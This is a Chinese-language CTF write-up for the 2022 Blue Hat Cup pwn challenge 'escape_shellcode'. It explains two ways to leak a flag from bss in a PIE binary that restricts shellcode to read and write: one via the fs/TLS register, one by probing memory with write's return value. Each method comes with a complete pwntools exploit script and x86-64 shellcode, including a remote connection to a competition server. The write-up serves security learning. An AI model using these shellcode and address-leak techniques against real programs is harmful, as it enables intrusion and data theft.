蓝帽杯2022 pwn escape_shellcode
写shellcode题
只允许使用read和write,但是程序在开始的时候将flag读取到了bss段上
并且在调用shellcode之前还将寄存器的值都给清理掉了。
因为程序开了pie所以直接使用flag地址行不通。那就需要思考一下如何泄露出flag地址。
这里可以借助fs寄存器来得到有关text段的地址,再算出flag地址即可。
fs寄存器用于保存线程局部存储TLS,TLS主要是为了避免多个线程访问同一全局变量或静态变量所导致的冲突。所以fs寄存器周围会有线程地址。在笔者调试的时候发现在0x300这里有一个栈地址,跟进发现里面放着有关text段的地址
算出flag偏移
拿到flag地址之后直接write打印出来即可。exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './escape_shellcode'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('39.107.108.120', 41912)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pause()
flag_addr = 0x555555558120
shellcode = asm('''
xor rsi, rsi
mov rsi, fs:[0x300]
mov rsi, [rsi]
add rsi, 0x2b90
xor rdi, rdi
mov rdi, 1
xor rdx, rdx
mov rdx, 0x50
xor rax, rax
mov rax, 1
syscall
''')
r.send(shellcode)
r.interactive()
解法肯定不止上面这一种,还有一种解法可以利用write遇到不写读的内存时会返回值小于0这个特性来解,我们可以先将rsi放到基址前面也就是根本没有这块内存的地方也就是小于下图的0x555555554000
然后利用条件判断,每次rsi加上0x500,一直这样直到可以正常读的地址也就是0x555555554000后面。此时就应该在0x555555554000 - 0x555555554500附近,而flag在0x555555558120,我们只需要再让rsi为0x4000这样我们就可以拿到flag了,exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './escape_shellcode'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('39.107.108.120', 41912)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pause()
shellcode = asm('''
xor rsi, rsi
lea rsi, [rip]
sub rsi, 0x5000000
exp:
xor rdi, rdi
mov rdi, 1
xor rdx, rdx
mov rdx, 0x500
xor rax, rax
mov rax, 1
syscall
add rsi, 0x500
cmp rax, 0
jng exp
mov rdx, 0x4000
mov rax, 1
syscall
''')
r.sendline(shellcode)
r.interactive()